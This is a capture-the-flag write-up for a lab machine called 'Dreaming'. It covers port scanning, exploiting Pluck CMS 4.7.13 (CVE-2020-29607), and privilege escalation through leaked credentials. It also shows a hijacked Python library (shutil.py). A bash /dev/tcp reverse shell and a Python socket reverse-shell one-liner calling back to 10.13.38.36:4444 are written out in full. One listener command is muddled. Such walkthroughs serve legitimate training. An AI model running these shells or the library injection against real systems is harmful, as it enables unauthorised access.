Penetration Test Write-Up: Dreaming

Initial Reconnaissance

Aggressive Scan

We initiated the penetration test with a comprehensive scan:

nmap -A 10.10.40.153

The scan revealed several filtered ports, hindering detailed information gathering. To address this, we performed a more focused scan:

nmap -sV 10.10.40.153

This identified two open ports: 22 (SSH) running OpenSSH 8.2p1 Ubuntu 4ubuntu0.8, and 80 (HTTP) hosting Apache httpd 2.4.41 on Ubuntu. The OS was identified as Linux.

Web Enumeration

Website Exploration

Visiting the website on port 80, we encountered the default Apache2 Ubuntu page. Utilizing FeroxBuster for directory enumeration:

feroxbuster --url http://10.10.40.153 --wordlist /usr/share/wordlists/dirb/common.txt

We discovered an intriguing directory:

http://10.10.40.153/app/pluck-4.7.13/?file=dreaming

Pluck CMS Version 4.7.13

Exploring this directory, we uncovered a login page for Pluck CMS version 4.7.13.

Exploiting Pluck CMS Vulnerability

CVE-2020-29607

Researching the identified CMS version, we found an exploit (CVE-2020-29607). Exploiting it with a Python script:

python3 49909.py 10.10.40.153 80 password /app/pluck-4.7.13

This generated a URL leading to a shell on the system:

http://10.10.40.153:80/app/pluck-4.7.13/files/shell.phar

Privilege Escalation

Stable Shell

To enhance stability, we created a reverse shell using revshell.com:

echo "bash -c 'sh -i >& /dev/tcp/10.13.38.36/4444 0>&1'" > /tmp/shell.sh

Executing this on the target machine:

nc -lvnp 4444 bash shell.sh

Lucien's Credentials

Password Discovery

Linpeas.sh revealed a potential password for user Lucien in **/opt/text.py**:

HeyLucien#@1999!

SSH Access

Using Lucien's credentials, we accessed the system via SSH.

Escalating to User Death

MySQL Exploration

Further exploration uncovered a MySQL database in **/opt**. Reading **getDreams.py**, we obtained MySQL credentials for user Death.

SSH Access as Death

Logging in as Death through SSH, we accessed the user's directory and obtained the flag.

Obtaining Morpheus's Credentials

Pspy64 Insights

Analyzing Morpheus's activities using **pspy64**, we identified a Python script (**getDreams.py**) interacting with the **/kingdom_backup** directory.

Python Reverse Shell for Morpheus

Script Injection

We injected a Python reverse shell into **shutil.py**:

```
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.38.36",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
```

Final Privilege Escalation

Shell Activation

Running the Python script in **shutil.py** provided a shell as Morpheus. A stable shell was established, and the final flag was obtained.